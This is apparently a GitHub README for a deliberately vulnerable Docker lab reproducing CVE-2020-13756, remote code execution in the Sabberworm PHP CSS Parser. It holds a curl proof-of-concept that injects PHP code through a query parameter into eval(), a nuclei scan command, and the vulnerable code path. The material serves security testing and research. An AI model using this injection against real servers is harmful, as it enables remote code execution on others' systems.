kre80r/cve-2020-13756-envVulnerable test environment for CVE-2020-13756 (Sabberworm PHP CSS Parser RCE)
| Field | Value |
|---|
| CVE | CVE-2020-13756 |
| Product | Sabberworm PHP CSS Parser |
| Vulnerable Versions | < 8.3.1 |
| Severity | Critical (CVSS 9.8) |
| Type | Remote Code Execution |
docker run -d -p 8080:80 $(docker build -q https://github.com/KrE80r/CVE-2020-13756-env.git)
Or clone and run:
git clone https://github.com/KrE80r/CVE-2020-13756-env.git && cd CVE-2020-13756-env && docker-compose up -d
# Clone repository
git clone https://github.com/KrE80r/CVE-2020-13756-env.git
cd CVE-2020-13756-env
# Build and run
docker build -t sabberworm-vuln .
docker run -d -p 8080:80 sabberworm-vuln
# Test RCE - should print "VULN_TEST" in response
curl "http://localhost:8080/?n=100;printf(%22VULN_TEST%22);"
Expected output contains VULN_TEST at the beginning, proving code execution.
nuclei -t CVE-2020-13756.yaml -u http://localhost:8080 -debug
The vulnerability exists in getSelectorsBySpecificity() function which passes unsanitized user input to eval():
// Vulnerable code path
$selectors = $doc->getSelectorsBySpecificity('> ' . $_GET['n']);
// When n=100;printf("test"); the eval() executes: eval('> 100;printf("test");')
This environment is for authorized security testing only. Do not use against systems without permission.
KrE80r - Security Research